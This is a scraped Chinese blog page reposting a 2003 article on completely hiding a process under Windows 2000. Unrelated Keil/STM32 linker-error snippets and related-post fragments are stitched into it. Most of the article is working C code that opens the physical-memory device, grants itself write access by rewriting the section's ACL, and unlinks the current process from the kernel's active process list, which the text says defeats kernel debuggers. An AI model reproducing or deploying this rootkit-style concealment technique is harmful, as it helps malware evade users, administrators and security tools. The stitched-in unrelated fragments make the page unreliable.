(转载)Win2000下进程隐藏的一种方案

error: L6047U: The size of this image (32868 bytes) exceeds the maximum allowed for this version of keil编译stm32出现..\OBJ\Template.axf: error: L6047U: The size of this image (32868 bytes) exceeds the maximum allowed for this version of the linker 激活后: 阅读详情

Win2000下进程隐藏的一种方案

转自: http://www.xfocus.net
创建时间:2003-09-15
文章属性:原创
文章提交: pjf_ (pjf_at_ustc.edu)

    很多帖子对此论题作了分析,比如APIHOOK、系统服务HOOK等等,至于远线程注入没有自己的进程,本不算“隐藏”。这里写一个2000下的完全隐藏方法,很简单,也没什么新意。 在讲解之前,首先提一提一些结构,进程执行体块中有数个进程相关链,其中之一是活动进程链。此链的重要作用之一就是在查询系统信息时供遍历当前活动进程,很有意思的是M$可能因效率因素使它被排除出进程核心块,意味进线程切换等操作时并不利用它,进一步说改写它也不该有不可忽视的问题(此即本方案的基础)。怎么做很明显了,在活动进程双向链中删除想要得隐藏的进程既可,核心调试器(如softice/proc)亦查不出来。2000下的隐藏当前进程的代码如下:

#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG  NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS    Status;
    ULONG        Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
    USHORT        Length;
    USHORT        MaximumLength;
    PWSTR        Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT             0x00000002L
#define OBJ_PERMANENT           0x00000010L
#define OBJ_EXCLUSIVE           0x00000020L
#define OBJ_CASE_INSENSITIVE    0x00000040L
#define OBJ_OPENIF              0x00000080L
#define OBJ_OPENLINK            0x00000100L
#define OBJ_KERNEL_HANDLE       0x00000200L
#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG        Length;
    HANDLE        RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG        Attributes;
    PVOID        SecurityDescriptor;
    PVOID        SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
                       OUT PHANDLE  SectionHandle,
                       IN  ACCESS_MASK  DesiredAccess,
                       IN  POBJECT_ATTRIBUTES  ObjectAttributes
                       );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                
                          IN OUT PUNICODE_STRING  DestinationString,
                          IN PCWSTR  SourceString
                          );

RTLINITUNICODESTRING        RtlInitUnicodeString;
ZWOPENSECTION            ZwOpenSection;
HMODULE    g_hNtDLL = NULL;
PVOID     g_pMapPhysicalMemory = NULL;
HANDLE     g_hMPM     = NULL;

BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary( "ntdll.dll" );
    if ( !g_hNtDLL )
    {
        return FALSE;
    }

    RtlInitUnicodeString =
        (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");
    
    ZwOpenSection =
        (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
    
    return TRUE;
}

VOID CloseNTDLL()
{
    if(g_hNtDLL != NULL)
    {
        FreeLibrary(g_hNtDLL);
    }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
    
    PACL pDacl=NULL;
    PACL pNewDacl=NULL;
    PSECURITY_DESCRIPTOR pSD=NULL;
    DWORD dwRes;
    EXPLICIT_ACCESS ea;
    
    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }
    
    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";
    
    
    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }
    
    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }
    
CleanUp:
    
    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
    NTSTATUS        status;
    UNICODE_STRING        physmemString;
    OBJECT_ATTRIBUTES    attributes;
    
    RtlInitUnicodeString( &physmemString, L"//Device//PhysicalMemory" );
    
    attributes.Length            = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory        = NULL;
    attributes.ObjectName            = &physmemString;
    attributes.Attributes            = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;
    
    status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
    
    if(status == STATUS_ACCESS_DENIED){
        status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
        SetPhyscialMemorySectionCanBeWrited(g_hMPM);
        CloseHandle(g_hMPM);
        status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
    }

    if( !NT_SUCCESS( status ))
    {
        return NULL;
    }
    
    g_pMapPhysicalMemory = MapViewOfFile(
        g_hMPM,
        4,
        0,
        0x30000,
        0x1000);
    if( g_pMapPhysicalMemory == NULL )
    {
        return NULL;
    }
    
    return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
    ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
    PGDE=BaseAddress[VAddr>>22];
    if ((PGDE&1)!=0)
    {
        ULONG tmp=PGDE&0x00000080;
        if (tmp!=0)
        {
            PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
        }
        else
        {
            PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
            PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
            if ((PTE&1)!=0)
            {
                PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
                UnmapViewOfFile((PVOID)PGDE);
            }
            else return 0;
        }
    }
    else return 0;

    return (PVOID)PAddr;
}

ULONG GetData(PVOID addr)
{
    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
    if (tmp==0)
        return 0;
    ULONG ret=tmp[(phys & 0xFFF)>>2];
    UnmapViewOfFile(tmp);
    return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
    if (tmp==0)
        return FALSE;
    tmp[(phys & 0xFFF)>>2]=data;
    UnmapViewOfFile(tmp);
    return TRUE;
}

BOOL HideProcessAtAll()
{
    if (InitNTDLL())
    {
        if (OpenPhysicalMemory()==0)
        {
            return FALSE;
        }
        ULONG thread=GetData((PVOID)0xFFDFF124);
        ULONG process=GetData(PVOID(thread+0x22c));
        ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));
        SetData(PVOID(fw+4),bw);
        SetData(PVOID(bw),fw);
        UnmapViewOfFile(g_pMapPhysicalMemory);
        CloseHandle(g_hMPM);
        CloseNTDLL();
    }
    return TRUE;
}

    调用HideProcessAtAll即隐藏当前进程,如若一运行就隐藏,会修改到进程活动链表头,运行一段时间
后可能出现些小问题,怎么解决,留作“课后习题”了^_^
    注意默认物理地址0x30000为一页目录,在大多数情况时这样,但是是有例外的!怎么解决亦留作“...”
吧,不多废话了。

   稍微改一下偏移可移植于NT/XP/2003。
对于STM32编译出现“The size of this image (34208 bytes)...“此类问题解决办法 自创立博客以来,就没怎么用过,感觉很对不起CSDN这个学习氛围如此浓厚的大佬论坛。。。闲话少说。近期忙于工作项目,在昨晚收到通知毕设要加紧进度,这才放下手中的活。毕设做的半球系统,用的mdk开发环境,当程序写好准备编译时,出现“The code size of this image (100788 bytes) exceeds the maximum allowed for this versio... 阅读详情

相关推荐

The size of this image (170286 bytes) exceeds the maximum allowed for this version of the linker

评估版本KEIL4连接器有32K大小限制。 参考:http://zhidao.baidu.com/question/466717765.html             http://wenku.baidu.com/view/8c70c64cfe4733687e21aa77             http://download.csdn.net/download/chiws/28880

行者 9985

error: L6050U: The code size of this image exceeds the maximum allowed for this versio

error: L6050U: The code size of this image (61534 bytes) exceeds the maximum allowed for this version of the linker. MDK没注册,你把MDK软件进行下注册就好了. win7,要用管理员权限去运行

zhangcancai的专栏 2万+

..\OBJ\USART.axf: Error: L6218E: Undefined symbol DAC_SetChannel1Data (referred from main.o).

在keil工程下有一个名为FWlib的库,我是在想添加dac功能是遇到的这个错误,多次尝试后发现,只要在FWlib的库下面添加上dac.c文件就可以啦!同理,原本的例程都是正确的,在你想把某几个功能结合到一起时就需要添加一些.c和.h文件到工程目录下。步骤为: 1、复制所需功能文件夹到相应目录下 例如:我想在led例程中添加adc功能,我就会把adc例程中的HARDWARE文件夹目录下的ADC文件...

tanghanqin的博客 2万+

Win2000进程隐藏一种方案转载)

Win2000进程隐藏一种方案 转自:http://www.xfocus.net创建时间:2003-09-15文章属性:原创文章提交:pjf_ (pjf_at_ustc.edu)    很多帖子对此论题作了分析,比如APIHOOK、系统服务HOOK等等,至于远线程注入没有自己的进程,本不算“隐藏”。这里写一个2000下的完全隐藏方法,很简单,也没什么新意。 在讲解之前,首先提一提一些结构,进程

黑客X元素 1517

VB6实现在Win2000/XP上隐藏进程

我写出了这个东西,还是很有用的。主界面(Demo)隐藏前我的测试程序名称是:Hide.exe,如下图:隐藏进程后,呵呵,被干掉了: ------------------------------------------- 转载请注明出处 作者:唐细刚 邮箱:tanaya@163.com------------------------------------

唐古拉山的专栏 5430

进程隐藏

1 基于系统服务的进程隐藏技术在 W I N 9X 系列操作系统中, 系统进程列表中不能看到任何系统服务进程, 因此只需要将指定进程注册为系统服务就能够使该进程从系统进程列表中隐形 在win9x下用RegisterServiceProcess函数隐藏进程,NT架构下用不了 即win2000 xp等什么的用不了此方法。 转载于:https://www.cnblogs.com/hshy/p/10...

weixin_30737363的博客 138

Windows 2000/XP 注册表终极修改(转载

Microsoft Windows 2000/XP 是一个强大的操作系统,为我们提供了以往Windows 9x从未有过的安全性能,可是你是否感觉某些地方的设置还不够呢,这里就对Windows 2000 的注册表进行一些修改来达到我们的目的。 一、修改开始菜单和任务栏 由于以往不少文章对 Windows 9x 下的修改方法介绍了不少,所以有一些常见的我这里就不再赘述了:) 另外请注意,此次更改的注册

sk8boy的专栏 1197

无法显示隐藏文件解决办法

无法显示隐藏文件的处理办法[@more@]HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL,把...

cuer97820的博客 320

Win7下一种将.Net组件注册为COM组件方法

以下信息来源于百度百科   COM(组件对象模型)实际上像结构化编程和面向对象编程方法那样,也是一种编程方法,COM与语言、平台无关,在任何一种操作系统中,开发人员都可以遵循“COM方法”,组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。开发自定义的COM组件就如同开发动态的,面向对象的API。多个COM对象可以连接起来形成应用程序或组件系统。并且组件可以...

weixin_30604651的博客 303

解决无法显示所有文件和文件夹,无法显示隐藏文件和文件夹

今日,在公司用的电脑中毒了,按照往常习惯,在文件夹选项中设置显示所有文件和文件。可今天却不听话了,将文件夹选项中选成“显示所有文件和文件夹”,但按确定后,仍然显示不了隐藏文件,再回文件夹选项看,自己恢复到"不显示隐藏的文件和文件夹“。晕,跟我斗~~~ 后来找找资料,终于知道是怎么一回事,原来是被病毒恶意修改了注册表。在此分享一下解决方法: 找到 HKEY_LOCAL...

weixin_34227447的博客 115

windows 系统强行结束系统进程命令

据悉,当前有很多病毒,都通过注入到系统进程的方式,来达到隐藏方式,它们一方面通过伪装自己的名称,让用户一时难以辨别,进而达到迷惑目的,包括伪装成一些系统进程文件等等,一方面通过一些保护方法,使我们无法通过系统自带的任务管理器来强制结束,迫使用户实时处于威胁当中,所以,能否通过其它方法,快速结束这些恶意进程,防止其意外发作和在后台运行呢?答案是肯定的,本教程就给大家介绍无敌命令...

weixin_34245082的博客 507

个性化Win2000/XP的任务&()

个性化Win2000/XP的任务&()[@more@]  在“开始→运行”中键入“Taskmgr.exe”或按“Ctrl+Alt+Del”组合键即可进入“Windows 任务 管理器”,它提供了正在运行的程序和进程的相...

cuanjun1153的博客 85

[转载]CMD网络命令

net use\\ip\ipc$" " /user:" " 建立IPC空链接 net use\\ip\ipc$"密码" /user:"用户名" 建立IPC非空链接 net use h:\\ip\c$"密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h:\\ip\c$登陆后映射对方C:到本地为H:...

weixin_34203832的博客 182

PcShare远程控制

PcShare远程控制(20070722免费版本)发布 2007-07-26 13:20:22  标签:远程控制 PcShare    [推送到技术圈] PcShare远程控制(20070722免费版本)发布免费正式版更新内容一,优化了屏幕传输二,改为UNIX方式的多进程,提高执行速度,防止服务端控制时互相影响.三,文件下载用系统APC传...

weixin_34260991的博客 263

windows7   进程分析

基本系统进程: smss.exe Session Manager csrss.exe 子系统服务器进程 winlogon.exe 管理用户登录 services.exe 包含很多系统服务 lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。(系统服务) svchost.e...

weixin_33877092的博客 158

[转载] 之前碰过的木马分析

之前我有碰过有过一款国产木马。这个木马是广东外语外贸大学“广外女生”网络小组的作品,它可以运行于WIN98,WIN98SE,WINME,WINNT,WIN2000或已经安装Winsock2.0的Win95/97上。与以往的木马相比,它具有体积更小、隐藏更为巧妙的特点。可以预料,在将来的日子里它会成为继“冰河”之后的又一流行的木马品种。  由于“广外女生”这个木马的驻留、启动的方法比较具有典型性,

积累点滴,保持自我 1695

反病毒工具 PCHunter 1.5.6

文章目录[隐藏] 软件介绍软件截图软件功能支持系统 软件介绍大名鼎鼎的ARK反病毒工具PC Hunter V1.5.6版本发布,此次更新终于支持兼容Windows 10 RS4 v1803 正式版 (Build 17134),这款工具堪称系统维护及手工杀毒必备神器!PC Hunter支持的操作系统非常的全面,几乎支持WinXP至Win10的所有32位系统,同时还支持64位的Win7、Win8、...

qq_41679358的博客 1139
上一篇: (转载)深入Linux网络核心堆栈 (下)
下一篇: (转载)用VMWARE搭建虚拟Honeynets
Kendiv
博客等级 码龄25年 179粉丝 156原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值